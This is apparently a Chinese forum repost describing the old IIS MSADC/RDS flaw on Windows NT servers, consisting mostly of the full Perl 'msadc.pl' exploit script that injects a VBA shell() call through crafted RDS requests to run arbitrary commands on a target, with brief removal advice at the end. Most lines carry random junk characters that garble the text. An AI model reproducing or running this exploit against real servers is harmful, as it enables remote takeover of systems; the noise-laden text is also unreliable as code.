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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \`w!v,aM$  
s52c`+  
涉及程序: x 4SI TY  
Microsoft NT server 1a#oJU  
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描述: GW ]E,a  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 :kycIM]s  
=e7,d$i  
详细: ZeD""vJRY  
如果你没有时间读详细内容的话,就删除: )oOcV%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @MfuV4*  
有关的安全问题就没有了。 O?uT'$GT  
)z0qKb \  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Rn O%8Hk  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 )k F/"'o  
关于利用ODBC远程漏洞的描述,请参看: Z, Kbt  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm RUTlwTdv  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2[&3$-]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Jji~MiMn  
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这里不再论述。 9wP_dJvb  
$!c)%qDq  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %Z-^Bu8;y  
i2{xW`AcUh  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset fP`g#t)4Tu  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /^~3Ib8Fw+  
lAsDdxB`  
+w Oa  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,jWMJ0X/N=  
i/rdPbq  
#!perl I xT[1$e  
# ; Xy\7tx  
# MSADC/RDS 'usage' (aka exploit) script uLYz!E+E  
# e{edI{g  
# by rain.forest.puppy !1f8~"Z  
# z`-?5-a]I  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me X{rw+!  
# beta test and find errors! q!#e2Dx  
vjG: 1|*e  
use Socket; use Getopt::Std; Hz$l)g}U  
getopts("e:vd:h:XR", \%args); \1 4"Bgj1  
4[z a|t  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ;dl>  
r}OK3J  
if (!defined $args{h} && !defined $args{R}) { [h8j0Q@Q  
print qq~ N=K|Nw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } yp=Hxf  
-h <host> = host you want to scan (ip or domain) LTu cs }  
-d <seconds> = delay between calls, default 1 second 03*` T  
-X = dump Index Server path table, if available aG7QLCL  
-v = verbose %iWup:  
-e = external dictionary file for step 5 -UaUFJa8K&  
)SZt If  
Or a -R will resume a command session - |mWi  
.5I!h !  
~; exit;} 16MRLDhnD  
ReOp,A/y  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 2= X2M  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -ea>}S  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8P r H"pI  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); @ NGK2J  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >W"gr]R<  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (#* 7LdZ  
d% ?+q0j  
if (!defined $args{R}){ $ret = &has_msadc; '1A S66k  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g(t"+ P  
&| %<=\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" A87JPX#R?  
. "cmd /c "; ryzz!0l  
$in=<STDIN>; chomp $in; c0]^V>}cl  
$command="cmd /c " . $in ; 7N"$~UfC  
d3h2$EDD  
if (defined $args{R}) {&load; exit;} U'S}7gya  
]Q=D'1 MM  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; gB@Xi*  
&try_btcustmr; 2"lDKjj  
5Qhu5~,K  
print "\nStep 2: Trying to make our own DSN...";  ZSq7>}  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `_sc_Y|C!  
pN/)$6=  
print "\nStep 3: Trying known DSNs..."; M}NmA  
&known_dsn; &~U!X~PpB  
T^u][I3*  
print "\nStep 4: Trying known .mdbs..."; W R@=[G#TJ  
&known_mdb; h5WS<P  
Y - 6 ?x  
if (defined $args{e}){ e{8z1t20:  
print "\nStep 5: Trying dictionary of DSN names..."; T9]|*~ ,T  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } a&~_ba+  
3DnlXH(h1  
print "Sorry Charley...maybe next time?\n"; 9^h\vR|]S  
exit; mD-qJ6AM  
iph>"b$D  
############################################################################## _f$8{&`k  
vJDK]p<}  
sub sendraw { # ripped and modded from whisker i rMZLc6  
sleep($delay); # it's a DoS on the server! At least on mine... w#eD5y~'oo  
my ($pstr)=@_; Y 3r m')c  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D8N}*4S  
die("Socket problems\n"); 5Z}]d@  
if(connect(S,pack "SnA4x8",2,80,$target)){ SCE5|3j  
select(S); $|=1; {.$5:<8aC  
print $pstr; my @in=<S>; ,wE]:|`qJ  
select(STDOUT); close(S); 8<M'~G%CEq  
return @in; mh]'/C_*<w  
} else { die("Can't connect...\n"); }} ?-0k3  
%)T>Wn%b]v  
############################################################################## ')t :!#  
#}L75  
sub make_header { # make the HTTP request 6 ]W!>jDc  
my $msadc=<<EOT #k8bZ?*:  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 C4],7"Sw  
User-Agent: ACTIVEDATA BL<.u  
Host: $ip Pcut#8?  
Content-Length: $clen <y=VDb/  
Connection: Keep-Alive `,d*>  
X=_pQ+j`^  
ADCClientVersion:01.06 wEENN_w  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 gO%#'Eb2  
,ii*[{X?  
--!ADM!ROX!YOUR!WORLD! C%d\DuJ5'~  
Content-Type: application/x-varg JP`$A  
Content-Length: $reqlen )o)<5Iqh  
}&D~P>1  
EOT h\\fb[``  
; $msadc=~s/\n/\r\n/g; qd#?8  
return $msadc;} qp_lMz  
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############################################################################## Hs/ aU_  
lo*OmAF  
sub make_req { # make the RDS request \7PPFKS  
my ($switch, $p1, $p2)=@_; Q\Dx/?g!vx  
my $req=""; my $t1, $t2, $query, $dsn; r!SMF ]?SJ  
^Gt&c_gH  
if ($switch==1){ # this is the btcustmr.mdb query u~n*P``{  
$query="Select * from Customers where City=" . make_shell(); P' .MwS  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .zQ:u{FT  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} )9F-h8 &"  
6yk=4l\  
elsif ($switch==2){ # this is general make table query 51j5AbFQ"  
$query="create table AZZ (B int, C varchar(10))"; g^|}e?  
$dsn="$p1";} !.1oW(  
^Pl(V@  
elsif ($switch==3){ # this is general exploit table query Oxs O  
$query="select * from AZZ where C=" . make_shell(); }a?PB o`  
$dsn="$p1";} D\|$ ! i}  
 m=D2|WA8  
elsif ($switch==4){ # attempt to hork file info from index server yO*~)ALb+  
$query="select path from scope()"; NRu _6~^^  
$dsn="Provider=MSIDXS;";} i ,Cvnp6Lv  
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elsif ($switch==5){ # bad query .j?`U[V%a  
$query="select"; ws8@y r<R  
$dsn="$p1";} abiZ"?(  
j8n_:;i*  
$t1= make_unicode($query); {hQ0=rv<  
$t2= make_unicode($dsn); S :)Aj6>6  
$req = "\x02\x00\x03\x00"; ]D?//  
$req.= "\x08\x00" . pack ("S1", length($t1)); ta"uxL\gge  
$req.= "\x00\x00" . $t1 ; G165grGFd  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~hK7(K  
$req.= "\x00\x00" . $t2 ; F. 5'5%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Z(DCR/U=(>  
return $req;} d: D`rpcC  
o V"d%ks  
############################################################################## xxjg)rVuy  
e ewhT ^  
sub make_shell { # this makes the shell() statement {gh41G;n  
return "'|shell(\"$command\")|'";} 2gM=vaiH=  
kFKc9}7W  
############################################################################## Mo?eVtZ  
s~e<Pr?yu  
sub make_unicode { # quick little function to convert to unicode 4 =/5  
my ($in)=@_; my $out; hRAI7xk  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7P1G^)  
return $out;} xz2U?)m;x  
9V&} %  
############################################################################## PdiP5S }/  
.T~<[0Ex+U  
sub rdo_success { # checks for RDO return success (this is kludge) =k.:XblEe[  
my (@in) = @_; my $base=content_start(@in); EdGA#i3  
if($in[$base]=~/multipart\/mixed/){ ,fWQSc\}  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;W%nBdE6|  
return 0;} (NfP2E|B  
tUX4#{)q(j  
############################################################################## y cYT1Sg 8  
2iOn\ ^]x  
sub make_dsn { # this makes a DSN for us 1ocd$)B|}  
my @drives=("c","d","e","f"); TdGda'C  
print "\nMaking DSN: "; >tF3|:\  
foreach $drive (@drives) { 'Cv,:Q  
print "$drive: "; ]0N'Wtbn  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . \8j5b+  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" q5 eyle6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #I> c$dd  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; YywiY).]@  
return 0 if $2 eq "404"; # not found/doesn't exist WMy97*L<  
if($2 eq "200") { + *u'vt?  
foreach $line (@results) { 590.mCm  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 3On IAk3  
} return 0;} <Jt H/oN  
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############################################################################## w2*.3I,~)B  
1{6BU!  
sub verify_exists { % 8c <C  
my ($page)=@_; V11(EZJ/j  
my @results=sendraw("GET $page HTTP/1.0\n\n"); NUxOU>f  
return $results[0];} 1.S7MSpTV  
6 3TeTGp$  
############################################################################## Xjb 4dip  
8yW8F26  
sub try_btcustmr { tW<i;2 l  
my @drives=("c","d","e","f"); R7)\w P*l5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5zk<s`h  
SZUhZIz&  
foreach $dir (@dirs) { .'`7JU#{  
print "$dir -> "; # fun status so you can see progress -,xCUG<g  
foreach $drive (@drives) { t<~WDI|AN  
print "$drive: "; # ditto v[$-)vs*ag  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; vjo@aY.x  
$reqlenlen=length( "$reqlen" ); E} Ir<\  
$clen= 206 + $reqlenlen + $reqlen; IZ){xI  
8aDSRfv*  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); hz:^3F`>/&  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $'Pn(eZHGv  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} oJ\)-qSf  
(CUrFZT$  
############################################################################## 1Yr&E_5/  
N5W;Zx]  
sub odbc_error { b5!\"v4c  
my (@in)=@_; my $base; NO$n-<ag  
my $base = content_start(@in); |E{tS,{OhJ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ]JGh[B1gh  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FEOr'H<3x  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X?6E0/r&9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [^N8v;O  
return $in[$base+4].$in[$base+5].$in[$base+6];} 4Cd#S9<ed  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; z@70{*  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . "h@|XI  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} qcN{p7=0  
] lBe   
############################################################################## ~* R:UTBtw  
j@w+>h  
sub verbose { 3HtLD5%Q  
my ($in)=@_; [G.4S5FX.]  
return if !$verbose; 0<g;g%   
print STDOUT "\n$in\n";} =D&xw2  
8 `\^wG$W  
############################################################################## i|`b2msvd  
Sf_q;Ws  
sub save { _'eG   
my ($p1, $p2, $p3, $p4)=@_; |)%]MK$;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /6?A#%hc  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ,s=jtK  
close OUT;} gzHMZ/31  
@M]uUL-ze  
############################################################################## $ 12mS  
;Avz%2#c`  
sub load { YwbRzY-#F  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; d]3c44kkK{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Yg @&@S]  
@p=<IN>; close(IN); ]1 V,_^D  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ">{Ruv}$  
$target= inet_aton($ip) || die("inet_aton problems"); 4jWzYuI&J  
print "Resuming to $ip ..."; s=[Tm}[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; uq/z.m  
if($p[1]==1) { m7dpr$J  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `5HFRgL`.  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 0n FEPMO  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); V XE85  
if (rdo_success(@results)){print "Success!\n";} \vH /bL  
else { print "failed\n"; verbose(odbc_error(@results));}} G<F+/Oi&DX  
elsif ($p[1]==3){ >M}\_c=  
if(run_query("$p[3]")){ | c:E)S\  
print "Success!\n";} else { print "failed\n"; }} R04%;p:k#  
elsif ($p[1]==4){ k!&G ;6O-  
if(run_query($drvst . "$p[3]")){ |igr3p5Fw  
print "Success!\n"; } else { print "failed\n"; }} Z$UPLg3=;_  
exit;} bCV3h3<  
TO(2n8'fdO  
############################################################################## MC 8t"SB  
5} v(Ks>  
sub create_table { 'ycr/E&m{  
my ($in)=@_; dkHye>  
$reqlen=length( make_req(2,$in,"") ) - 28; ?&ow:OH+  
$reqlenlen=length( "$reqlen" ); G,{=sFX  
$clen= 206 + $reqlenlen + $reqlen; OpNTyKbaD  
my @results=sendraw(make_header() . make_req(2,$in,"")); S":55YQev!  
return 1 if rdo_success(@results); #!A'6SgbkM  
my $temp= odbc_error(@results); verbose($temp); qw#wZ'<n  
return 1 if $temp=~/Table 'AZZ' already exists/; <yoCW?#  
return 0;} FW~{io]n  
.Mn_T*F  
############################################################################## z~O#0Q !  
v?s]up @@h  
sub known_dsn { >A]U.C  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go A?YU:f  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 3`Ug]<m  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", T[ ~8u9/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); A#b`{C~l  
*btLd7c%  
foreach $dSn (@dsns) { QU#u5sX A  
print "."; _f"HUKGN  
next if (!is_access("DSN=$dSn")); /~8<;N>,+  
if(create_table("DSN=$dSn")){ %^`b)   
print "$dSn successful\n"; ^~p^N <  
if(run_query("DSN=$dSn")){ 34D7qR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { UQ7E7yY#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} FnZMW, P  
%OV)O-  
############################################################################## jX9{Ki"  
g9T9TQ-O  
sub is_access { C >@T+xOZ  
my ($in)=@_; ak SUk)}e  
$reqlen=length( make_req(5,$in,"") ) - 28; sI/]pgt2  
$reqlenlen=length( "$reqlen" ); \zdY$3z  
$clen= 206 + $reqlenlen + $reqlen; _`oP*g =  
my @results=sendraw(make_header() . make_req(5,$in,"")); hc2AGeZr  
my $temp= odbc_error(@results); >}uDQwX8  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?k|}\l[X1  
return 0;} D2,2Yy5 y  
NcuZw?  
############################################################################## #mK/xbW  
q7z;bA  
sub run_query { 0P+B-K>n  
my ($in)=@_; T z`O+fx &  
$reqlen=length( make_req(3,$in,"") ) - 28; k@[P\(a3b  
$reqlenlen=length( "$reqlen" ); %(P\"hE'  
$clen= 206 + $reqlenlen + $reqlen; 6'F4p1VG*I  
my @results=sendraw(make_header() . make_req(3,$in,"")); eU*0;#  
return 1 if rdo_success(@results);  WR;)  
my $temp= odbc_error(@results); verbose($temp); Gz_[|,i  
return 0;} &7fwYV  
(G E)  
############################################################################## MV(Sb:RZ  
fwN'5ep  
sub known_mdb { 6Mh;ld@  
my @drives=("c","d","e","f","g"); F2N)|C<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,/bSa/x`  
my $dir, $drive, $mdb; bG|aQ2HW  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; odPdWV,&*  
g?9IS,Gp  
# this is sparse, because I don't know of many 342m=7lK  
my @sysmdbs=( "\\catroot\\icatalog.mdb", G $F3dx.I  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", hx5oTJR  
"\\system32\\certmdb.mdb", G\;a_]Q  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ytDp 4x<W)  
7 6} a  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", fr19C%{  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Li?_P5+a  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &*e(  
"\\cfusion\\cfapps\\security\\realm_.mdb", ycPGv.6  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", [9lfR5=Xw[  
"\\cfusion\\database\\cfexamples.mdb", *l-f">?|  
"\\cfusion\\database\\cfsnippets.mdb", &A1~x!`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", >l>;"R9N  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", =_"[ &^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", {9,!XiF.:  
"\\cfusion\\database\\smpolicy.mdb", )-u0n] ,  
"\\cfusion\\database\cypress.mdb", `pTCK9  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  gZg5On  
"\\website\\cgi-win\\dbsample.mdb", p'fD:M:  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", J% b`*?A  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" #Bih=A #  
); #these are just Eq\PSa=gz  
foreach $drive (@drives) { .boBo$f  
foreach $dir (@dirs){ 6^Q/D7U;s  
foreach $mdb (@sysmdbs) { rgK:ujzW!  
print "."; ! D \u2h  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K:cZ q3F  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^z^zsNx  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ hi.` O+;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; fDzG5}i  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 'f "KV|  
!EuqJjh  
foreach $drive (@drives) { 8NUVHcB6  
foreach $mdb (@mdbs) { K8R}2K-Y  
print "."; !Z}d^$  
if(create_table($drv . $drive . $dir . $mdb)){ CI}zu;4|  
print "\n" . $drive . $dir . $mdb . " successful\n"; Ed>Dhy6\r  
if(run_query($drv . $drive . $dir . $mdb)){ Nr(t5TP^  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; YWK|AT-4  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2X)n.%4g$;  
} 70MSP;^  
?6#F9\  
############################################################################## ~CRd0T[^  
X%sMna)  
sub hork_idx { oZ!1^o3V  
print "\nAttempting to dump Index Server tables...\n"; HO`N]AMw  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; V9 J`LQ\0  
$reqlen=length( make_req(4,"","") ) - 28; d$?sS9"8(  
$reqlenlen=length( "$reqlen" ); oR1HJ2>Z1  
$clen= 206 + $reqlenlen + $reqlen; aQTISX;  
my @results=sendraw2(make_header() . make_req(4,"","")); d siQ~ [   
if (rdo_success(@results)){ Pc:5*H  
my $max=@results; my $c; my %d; 26D,(Y$*  
for($c=19; $c<$max; $c++){ d OYEl<!J  
$results[$c]=~s/\x00//g; ->rr4xaKC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; t!285J8tn  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; T!F0_<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5dNM:1VoE  
$d{"$1$2"}="";} d8p<f+  
foreach $c (keys %d){ print "$c\n"; } 6`JY:~V"  
} else {print "Index server doesn't seem to be installed.\n"; }} Ob~7r*q  
bZKlQ<sI  
############################################################################## 8=T[Y`;x  
#sRkKl|  
sub dsn_dict { |RS(QU<QE  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); \Aa{]t  
while(<IN>){ )/vse5EG+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Ig{ 3>vB  
next if (!is_access("DSN=$dSn")); "rJJ~[Y  
if(create_table("DSN=$dSn")){ VHbQLJ0  
print "$dSn successful\n"; N,?4,+Hc-  
if(run_query("DSN=$dSn")){ <5t2+D]]}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kM;fxR:-  
print "Something's borked. Use verbose next time\n";}}} u;/5@ADW  
print "\n"; close(IN);} `J v~.EF%  
>[A7oH  
############################################################################## )b7;w#%q  
Jjr&+Q^3Tu  
sub sendraw2 { # ripped and modded from whisker v*[oe  
sleep($delay); # it's a DoS on the server! At least on mine... -KA Y  
my ($pstr)=@_; "pa2,-&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \}p!S$`  
die("Socket problems\n"); Hdxon@,+cd  
if(connect(S,pack "SnA4x8",2,80,$target)){ jY|fP!?[  
print "Connected. Getting data"; m5'nqy F  
open(OUT,">raw.out"); my @in; .I#ss66h  
select(S); $|=1; print $pstr; {Y7dE?!`7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 0hB9D{`,{  
close(OUT); select(STDOUT); close(S); return @in; >DSD1i+N  
} else { die("Can't connect...\n"); }} qPvWb1H:  
2vLV1v$,q  
############################################################################## L8WYxJ k  
S!@h\3d8{  
sub content_start { # this will take in the server headers g7-*WN<  
my (@in)=@_; my $c; J4l \  
for ($c=1;$c<500;$c++) { vS1#ien#  
if($in[$c] =~/^\x0d\x0a/){ 02RZ>m+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } CUI\:a-   
else { return $c+1; }}} K4w#}gzok  
return -1;} # it should never get here actually N7l`-y  
X?gH(mn  
############################################################################## ,VYUQE>\  
^Q9;ro*;ck  
sub funky { ]K!NLvz  
my (@in)=@_; my $error=odbc_error(@in); ,l )7]p*X  
if($error=~/ADO could not find the specified provider/){ CEXD0+\q  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ar[I| Q_  
exit;} Tfow_t}\  
if($error=~/A Handler is required/){ :+? w>  
print "\nServer has custom handler filters (they most likely are patched)\n"; NQu .%=  
exit;} (aUdPo8H^  
if($error=~/specified Handler has denied Access/){ d [f,Nu'  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0vjlSHS;`.  
exit;}} .kf FaK  
~C31=\$  
############################################################################## |1/UC"f  
?"Ec#,~  
sub has_msadc { 5fjL  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ;QS(`SK l  
my $base=content_start(@results); CxbGL  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); p*5QV  
return 0;} P ?A:0a  
Muay6b?  
######################## WXmR{za   
DV!10NqUr  
@lhjO>@#I  
解决方案: 6cVJu%<V  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Vm]xV_FOd  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Yj{-|2YzL  
8:gUo8  
拿出来充数 哈哈
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